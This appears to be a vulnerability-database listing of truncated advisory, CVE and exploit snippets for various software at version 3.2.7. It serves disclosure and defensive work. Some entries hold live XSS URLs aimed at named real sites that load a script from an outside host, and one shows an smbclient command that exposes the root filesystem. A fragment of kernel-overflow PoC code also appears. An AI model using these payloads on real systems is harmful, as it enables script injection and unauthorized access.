Redis Cross-Site Scripting Vulnerability

Redis is the United States Redis Labs, Inc. sponsored by a set of open source using ANSI C written to support the network , can be based on memory can also be a persistent log-type , key-value Key-Value storage database, and provides a variety of languages API. A cross-site scripting vulnerabilit...

GHSA-92W9-2PQW-RHJJ actionpack Improper Authentication vulnerability

The decodecredentials method in actionpack/lib/actioncontroller/metal/httpauthentication.rb in Ruby on Rails before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts Digest Authentication strings to symbols, which allows remote attackers to cause a denial of service by leveraging access...

Debian: Security Advisory (DSA-3957-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

tectonics.caltech.edu XSS vulnerability

Vulnerable URL: https://www.tectonics.caltech.edu/movies/flowplayer/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

gopost.usps.com XSS vulnerability

Vulnerable URL: https://gopost.usps.com/media/video/flowplayer/swf/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

[SECURITY] Fedora 23 Update: php-horde-ingo-3.2.7-1.fc23

Ingo is an email-filter management application. It is fully internationalized, integrated with Horde and the IMP Webmail client, and supports both server-side Sieve, Procmail, Maildrop and client-side IMAP message filtering...

Kazaa Altnet Download Manager ActiveX Control Buffer Overflow

No description provided by source. $Id: kazaaaltnetheap.rb 9262 2010-05-09 17:45:00Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of...

Squid 'httpMakeVaryMark()'函数内存破坏漏洞

BUGTRAQ ID: 58322 Squid是一个高效的Web缓存及代理程序。 Squid 2.7.Stable9在函数'httpMakeVaryMark'的实现上存在安全漏洞，成功利用后可允许远程攻击者在受影响应用的上下文中执行任意代码。 0 Squid 3.2.7 Squid 3.2.5 厂商补丁： Squid ----- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.squid-cache.org/Advisories/...

Fork CMS 3.x - backendmoduleserroractionsindex.php?parse() Multiple Error Display Cross-Site Scripting Vulnerabilities

Fork CMS 3.x - backendmoduleserroractionsindex.php?parse Multiple Error Display Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/52236/info Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input...

Flowplayer 3.2.7 - linkUrl Cross-Site Scripting

Flowplayer 3.2.7 - linkUrl Cross-Site Scripting source: https://www.securityfocus.com/bid/48651/info Flowplayer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage thi...

CrawlTrack Unspecified Vulnerability

The host is running CrawlTrack and is prone to unspecified vulnerability. OpenVAS Vulnerability Test $Id: secpodcrawltrackunspecifiedvuln.nasl 7015 2017-08-28 11:51:24Z teissa $ CrawlTrack Unspecified Vulnerability Authors: Sooraj KS Copyright: Copyright c 2011 SecPod, http://www.secpod.com This...

Potential access to "/" in setups with

Description When connecting to a share called "" empty string using an older version of smbclient before 3.0.28 for example with: 'smbclient //server/ -U user%pass' access to the root filesystem is granted with the privileges of the authenticated user. This only happens in setups with registry...

CVE-2008-4362

The Virtual Token driver vdlptokn.sys 1.0.2.43 in DESlock+ 3.2.7 allows local users to cause a denial of service system crash via a crafted IOCTL request to \Device\DLPTokenWalter0...

CVE-2008-4363

DLMFENC.sys 1.0.0.28 in DESlock+ 3.2.7 allows local users to cause a denial of service system crash or potentially execute arbitrary code via a certain DLMFENCIOCTL request to \.\DLKPFSDDevice that overwrites a pointer, probably related to use of the ProbeForRead function when ProbeForWrite was...

CVE-2008-4362

The Virtual Token driver vdlptokn.sys 1.0.2.43 in DESlock+ 3.2.7 allows local users to cause a denial of service system crash via a crafted IOCTL request to \Device\DLPTokenWalter0...

deslockvldptokn-dos.txt

//////////////////////////////////////////////////////////////////////////////////// // +----------------------------------------------------------------------------+ // // | | // // | Data Encryption Systems Ltd. - http://www.deslock.com/ | // // | Data Encryption Systems DESlock+ - 3.2.7 | // /...

DESlock+ 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================================= DESlock+ 3.2.7 vdlptokn.sys Local Denial of Service Exploit =============================================================...

DESlock+ <= 3.2.7 (probe read) Local Kernel Denial of Service PoC

No description provided by source. / deslock-probe-read.c Copyright c 2008 by [email protected] DESlock+ = 3.2.7 local kernel DoS POC by mu-b - Sat 19 Jul 2008 - Tested on: DLMFENC.sys 1.0.0.28 call to ProbeForRead with a user-definable address that is eventually overwritten should have been...

DESlock+ 3.2.7 - Local Kernel Overflow (PoC)

DESlock+ 3.2.7 - Local Kernel Overflow PoC / deslock-overflow.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define DLMFENCBUZSZ 0x1000 define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20;...

CVE-2007-5217

Stack-based buffer overflow in the ADM4 ActiveX control in adm4.dll in Altnet Download Manager 4.0.0.6, as used in 1 Kazaa 3.2.7 and 2 Grokster, allows remote attackers to execute arbitrary code via a long argument to the Install method. NOTE: the provenance of this information is unknown; the...